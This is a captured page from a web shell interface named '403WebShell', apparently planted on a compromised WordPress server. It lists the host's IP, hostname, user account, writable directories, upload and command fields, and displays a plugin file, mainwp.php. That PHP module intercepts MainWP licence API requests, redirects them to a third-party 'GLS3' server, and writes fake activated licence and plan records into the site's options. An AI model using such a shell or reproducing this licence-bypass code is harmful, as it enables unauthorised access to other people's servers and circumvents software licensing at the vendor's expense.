$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/mainwp.php
<?php
/**
 * MainWP module.
 *
 * Redirects MainWP WC-AM API calls to GLS3.
 * Only intercepts requests containing `mainwp-api=am-software-api`.
 * safe_download URLs are not intercepted.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * MainWP license module.
 */
class Mainwp extends AbstractModule {

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'mainwp';
		$this->name        = 'MainWP';
		$this->description = 'Manages MainWP license and extensions via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'mainwp',
			'plugin_file' => 'mainwp.php',
		);
		$this->target_id   = '2514887540';

		$this->blocked_domains = array(
			'mainwp.com/?mainwp-api=am-software-api' => self::wc_am_block(),
		);

		// Register early to intercept API calls.
		add_filter( 'pre_http_request', array( $this, 'redirect_api_request' ), 10, 3 );
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		$this->activate_license();

		// Activate extensions on admin_init when they are fully registered.
		add_action( 'admin_init', array( $this, 'activate_extensions' ), 1 );
	}

	/**
	 * Redirect MainWP API requests to GLS3.
	 *
	 * @param false|array<string, mixed>|\WP_Error $preempt Whether to preempt the request.
	 * @param array<string, mixed>                 $args    Request arguments.
	 * @param string                               $url     Request URL.
	 * @return false|array<string, mixed>|\WP_Error
	 */
	public function redirect_api_request( $preempt, array $args, string $url ) {
		// Only handle MainWP WC-AM API requests.
		$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
		if ( 'mainwp.com' === $host && strpos( $url, 'mainwp-api=am-software-api' ) !== false ) {
			return $this->handle_license_api_request( $args, $url );
		}

		// Note: safe_download URL returns ZIP directly, no interception needed.

		return $preempt;
	}

	/**
	 * Handle MainWP license API request by redirecting to GLS3.
	 *
	 * @param array<string, mixed> $args Request arguments.
	 * @param string               $url  Original request URL.
	 * @return array<string, mixed>|\WP_Error
	 */
	private function handle_license_api_request( array $args, string $url ) {
		// Build new URL pointing to GLS3.
		$new_url = HELLOPACK_GLS3_URL . '/mainwp/activate-license';

		// Preserve query parameters from original URL.
		$query_string = wp_parse_url( $url, PHP_URL_QUERY );
		if ( ! empty( $query_string ) ) {
			$new_url .= '?' . $query_string;
		}

		// Inject HelloPack JWT token so GLS3 can build correct safe_download URLs.
		// MainWP may send a different api_key; GLS3 prefers hellopack_token.
		$token = Options::get( 'token' );
		if ( $token ) {
			$new_url .= ( strpos( $new_url, '?' ) !== false ? '&' : '?' ) . 'hellopack_token=' . rawurlencode( $token );
		}

		// Temporarily remove filter to prevent infinite loop.
		remove_filter( 'pre_http_request', array( $this, 'redirect_api_request' ), 10 );

		if ( 'GET' === $args['method'] ) {
			$response = wp_remote_get( $new_url, $args );
		} else {
			$response = wp_remote_post( $new_url, $args );
		}

		add_filter( 'pre_http_request', array( $this, 'redirect_api_request' ), 10, 3 );

		return $response;
	}

	/**
	 * Activate MainWP license — set plan info and master API key.
	 */
	private function activate_license(): void {
		$plan_info = array(
			'plan_purchased' => 'yearly',
			'plan_status'    => 'active',
		);

		hellopack_ensure_option( 'mainwp_extensions_plan_info', wp_json_encode( $plan_info ) );

		$token = Options::get( 'token' );

		// Set master API key so user doesn't need to enter it manually.
		if ( $token && class_exists( 'MainWP\Dashboard\MainWP_Keys_Manager' ) ) {
			\MainWP\Dashboard\MainWP_Keys_Manager::instance()->update_key_value(
				'mainwp_extensions_master_api_key',
				$token
			);
			hellopack_ensure_option( 'mainwp_extensions_api_save_login', true );
		}
	}

	/**
	 * Activate all installed MainWP extensions.
	 */
	public function activate_extensions(): void {
		$token      = Options::get( 'token' );
		$extensions = apply_filters( 'mainwp_getextensions', array() );

		if ( empty( $extensions ) || ! is_array( $extensions ) ) {
			return;
		}

		foreach ( $extensions as $extension ) {
			if ( empty( $extension['api'] ) ) {
				continue;
			}

			$ext_key     = $extension['api'];
			$option_name = $ext_key . '_APIManAdder';
			$current     = get_option( $option_name, array() );

			// Only update if not already activated with current token.
			if (
				is_array( $current ) &&
				! empty( $current['activated_key'] ) &&
				'Activated' === $current['activated_key'] &&
				! empty( $current['api_key'] ) &&
				$token === $current['api_key']
			) {
				continue;
			}

			// Merge with existing data to preserve product_id, software_version, instance_id.
			$license_data = array_merge(
				is_array( $current ) ? $current : array(),
				array(
					'api_key'             => $token,
					'activated_key'       => 'Activated',
					'deactivate_checkbox' => 'off',
				)
			);

			update_option( $option_name, $license_data );
		}

		// Clear cached activations to reload.
		update_option( 'mainwp_extensions_all_activation_cached', '' );
	}

	/**
	 * Cleanup on disable — deactivate extensions.
	 */
	public function cleanup(): void {
		hellopack_delete_option( 'mainwp_extensions_plan_info' );

		$extensions = apply_filters( 'mainwp_getextensions', array() );

		if ( empty( $extensions ) || ! is_array( $extensions ) ) {
			return;
		}

		foreach ( $extensions as $extension ) {
			if ( empty( $extension['api'] ) ) {
				continue;
			}

			$ext_key     = $extension['api'];
			$option_name = $ext_key . '_APIManAdder';
			$current     = get_option( $option_name, array() );

			if ( is_array( $current ) ) {
				$current['api_key']       = '';
				$current['activated_key'] = 'Deactivated';
				update_option( $option_name, $current );
			}
		}

		// Clear cached activations.
		update_option( 'mainwp_extensions_all_activation_cached', '' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit